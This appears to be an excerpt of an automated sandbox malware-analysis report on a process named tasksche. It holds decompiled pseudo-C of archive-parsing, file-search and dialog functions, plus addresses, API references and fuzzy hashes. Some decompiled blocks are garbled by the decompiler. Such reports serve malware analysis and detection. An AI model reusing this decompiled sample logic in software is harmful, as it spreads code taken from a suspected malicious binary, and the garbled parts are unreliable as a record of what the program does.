												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, 0x42a48c);
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

0x00402f2d
0x00402f35
0x00402f3f
0x00402f45
0x00402f46
0x00402f4d
0x00402f52
0x00402f5b
0x00402f5e
0x00402faf
0x00402faf
0x0040302f
0x00403034
0x00403039
0x0040303c
0x00402fa0
0x00402fa2
0x00402fa7
0x00402fa7
0x00403680
0x00403680
0x00403682
0x00403685
0x0040368a
0x0040368b
0x0040368d
0x00403693
0x0040369e
0x0040369e
0x00403045
0x0040304c
0x0040305c
0x00403066
0x00403068
0x0040306f
0x00403071
0x00403675
0x00403677
0x0040367c
0x0040367c
0x00000000
0x0040367c
0x00403077
0x00403079
0x00000000
0x00000000
0x0040307f
0x00403081
0x00403081
0x00403084
0x00403084
0x00403087
0x00403089
0x00000000
0x00000000
0x0040308f
0x00403092
0x00000000
0x00000000
0x0040309c
0x004030a1
0x004030a4
0x004030bd
0x004030c8
0x004030ce
0x004030d3
0x004030de
0x004030ea
0x004030f3
0x004030f5
0x004030fb
0x004030ff
0x00403103
0x0040313d
0x0040313d
0x0040313f
0x00403146
0x00403149
0x0040314c
0x0040317b
0x0040317b
0x00403182
0x00403185
0x00403188
0x00403192
0x00403195
0x00403195
0x004031a0
0x004031ad
0x004031b6
0x004031b9
0x004031bf
0x004031c5
0x004031cb
0x004031ce
0x0040358d
0x00403595
0x0040359c
0x0040359d
0x0040359d
0x004035a2
0x004035ac
0x004035ba
0x004035c8
0x004035d6
0x004035dc
0x004035e3
0x004035ea
0x004035ec
0x004035fe
0x004035fe
0x004035fe
0x004035ee
0x004035f6
0x004035f6
0x00403605
0x0040360c
0x0040361c
0x0040361c
0x0040361c
0x00000000
0x0040360e
0x0040360e
0x00403615
0x00000000
0x00000000
0x00403619
0x0040361e
0x0040361e
0x00403627
0x0040362a
0x00403632
0x00403633
0x00403639
0x0040363c
0x0040363c
0x00403641
0x00403647
0x0040364d
0x0040365f
0x0040365f
0x00403663
0x00403666
0x00403668
0x0040366b
0x00403670
0x00403671
0x00000000
0x00403671
0x0040364f
0x00000000
0x00000000
0x00403657
0x0040365d
0x00000000
0x00000000
0x00000000
0x0040365d
0x0040360c
0x004031d4
0x00000000
0x00000000
0x004031da
0x004031dd
0x004032f7
0x004032fa
0x00403300
0x00403302
0x00403302
0x00403308
0x0040330e
0x00403311
0x0040331b
0x0040331c
0x0040331e
0x00403325
0x00403328
0x00403334
0x00403338
0x0040333f
0x0040334d
0x00403358
0x00403367
0x00403367
0x00403369
0x0040336f
0x00403375
0x0040337c
0x00403382
0x00403382
0x00403388
0x0040338e
0x00403394
0x00403396
0x0040339c
0x004033a2
0x004033aa
0x004033aa
0x004033ac
0x00000000
0x004033a4
0x004033a4
0x004033ae
0x004033b1
0x004033b7
0x004033bd
0x004033c2
0x004033c9
0x004033cc
0x004033df
0x004033df
0x004033e4
0x004033ea
0x004033ed
0x004033f4
0x004033f9
0x00403404
0x00403404
0x0040340a
0x00403414
0x00403421
0x00403424
0x0040342c
0x00403437
0x0040343a
0x0040343f
0x00403442
0x0040344f
0x00403455
0x0040345b
0x00403461
0x00403464
0x0040346e
0x00403470
0x00403472
0x00403472
0x00403472
0x00403466
0x00403466
0x00403466
0x00403475
0x0040347f
0x00403492
0x00403496
0x0040349c
0x004034a2
0x004034af
0x004034af
0x004034af
0x00000000
0x004034a4
0x004034a4
0x004034a8
0x00000000
0x00000000
0x004034ac
0x004034b1
0x004034b7
0x004034c6
0x004034d5
0x004034e4
0x004034e6
0x004034f4
0x004034fa
0x00403500
0x00403502
0x00403504
0x00403504
0x00403511
0x00403516
0x00403523
0x0040352e
0x00403536
0x00403539
0x0040353b
0x0040353c
0x00403542
0x00403545
0x00403545
0x0040354a
0x0040354e
0x00403560
0x00403567
0x00403569
0x0040356b
0x0040356b
0x00403550
0x00403553
0x00403553
0x00403572
0x00403576
0x00403583
0x00403583
0x00000000
0x00403576
0x004034a2
0x004033a6
0x004033a8
0x00000000
0x00000000
0x00000000
0x004033a8
0x004033a2
0x004031e3
0x004031e6
0x00403227
0x0040322e
0x0040322e
0x00403233
0x00403238
0x0040323a
0x00403259
0x00403264
0x00403267
0x0040326d
0x00403270
0x00000000
0x00000000
0x0040327e
0x00403283
0x0040328a
0x0040328e
0x00403298
0x004032a6
0x004032af
0x004032bb
0x004032c8
0x004032d7
0x004032e1
0x004032e3
0x004032e3
0x004032e5
0x004032e5
0x004032eb
0x00000000
0x004032eb
0x0040323c
0x00403242
0x00000000
0x00403242
0x004031e8
0x004031eb
0x004031f2
0x004031f9
0x004031f9
0x00403205
0x0040320b
0x00403212
0x00403219
0x00403219
0x00000000
0x004031eb
0x00403158
0x0040315b
0x00403161
0x00403164
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316f
0x00403171
0x00000000
0x00403171
0x0040316a
0x0040316d
0x00000000
0x00000000
0x00000000
0x0040316d
0x00403107
0x00403113
0x0040311a
0x0040311f
0x00403123
0x00000000
0x00403125
0x0040312c
0x00403131
0x00000000
0x00403131
0x004030a6
0x004030a8
0x00000000
0x004030a8
0x004030a4
0x00402f66
0x00402f6e
0x00402f71
0x00402f73
0x00402f75
0x00000000
0x00402f83
0x00402f85
0x00402f89
0x00402f98
0x00402f9b
0x00402f9e
0x00402fd9
0x00402fe2
0x00402fe7
0x00402fee
0x0040302c
0x0040302c
0x00000000
0x0040302c
0x00402ffd
0x00403002
0x00403005
0x00403007
0x00000000
0x00403009
0x0040300f
0x0040301b
0x00403022
0x00000000
0x00403022
0x00403007
0x00000000
0x00402f9e

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

@, xrefs: 004034A4

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @
API String ID: 212800410-2766056989
Opcode ID: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 1.6, APIs: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				char _v552;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				char _v576;
				intOrPtr _v580;
				char _v584;
				intOrPtr _v588;
				char _v592;
				char _v596;
				char _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				void* _t76;
				char _t77;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 =  *0x42a06c(_a4);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 =  *0x42a258();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t82 =  *0x42a070; // executed
					_t73 = FindFirstFileW(_a8, ??); // executed
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &_v552);
						_t57 = E0041ABD0(_v568, 0, 0, 1) + _v564;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *((intOrPtr*)(_t90 + 0x1008)) = _v596;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v592;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v584;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v576;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &_v576);
						E00411333(_t90 + 0x1018,  &_v592);
						E00411333(_t90 + 0x1020,  &_v584);
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 =  *0x42a258();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 =  *_t82( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x0040949e
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 42.4, APIs: 22, Strings: 2, Instructions: 411
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				intOrPtr* _t349;
				void* _t352;
				void* _t354;

				E0041A4DC(0x4297c6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 =  *0x42a204;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = 0x42a9d0;
									do {
										_push(0);
										_push(_t354 - 0x5c88);
										 *0x42a148();
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_push(_t354 - 0x5c88);
											_t297 =  *_t349();
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_push(_t354 - 0x5c88);
											_t301 =  *0x42a244();
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_push(_t354 - 0x1040);
												_t306 =  *_t349();
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_push(_t354 - 0x1040);
													_push(_t354 - 0x5c88);
													_t309 =  *0x42a230();
													__eflags = _t309;
													if(_t309 != 0) {
														_push(4);
														_push(0);
														_push(_t354 - 0x1040);
														 *0x42a0cc();
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											_push(_t354 - 0x40);
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											 *0x42a29c();
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, 0x42a9c4);
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax = __ebp - 0x4440;
									_push(__ebp - 0x4440);
									_push( *((intOrPtr*)(__ebp + 8)));
									__eax =  *0x42a364();
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
											_push(0x66);
											_push( *((intOrPtr*)(__ebp + 8)));
											__edi =  *0x42a2b4();
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
											__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
											__eax = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x1040;
												_push(__ebp - 0x1040);
												_push(0);
												_push(0x143);
												_push(__edi);
												__eax =  *0x42a33c();
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											_push(__ebp - 0x1c);
											_push(1);
											_push(0);
											_push(0x42a970);
											_push(0x80000002);
											__eax =  *0x42a000();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x10;
												_push(__ebp - 0x10);
												__eax = __ebp - 0x1040;
												_push(__ebp - 0x1040);
												__eax = __ebp - 0x20;
												_push(__ebp - 0x20);
												_push(0);
												_push(0x42a950);
												_push( *(__ebp - 0x1c));
												 *(__ebp - 0x10) = 0x1000;
												__eax =  *0x42a004();
												_push( *(__ebp - 0x1c));
												__eax =  *0x42a010();
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, 0x42a690);
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, 0x42a948);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__eax = __ebp - 0x8c90;
								_push(__ebp - 0x8c90);
								_push(__ebx);
								 *0x42a0c8() = __ebp - 0x8c90;
								__eax = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = 0x42a938;
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__eax = __ebp - 0x1040;
								_push(__ebp - 0x1040);
								_push(0x66);
								_push( *((intOrPtr*)(__ebp + 8)));
								__eax =  *0x42a334();
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
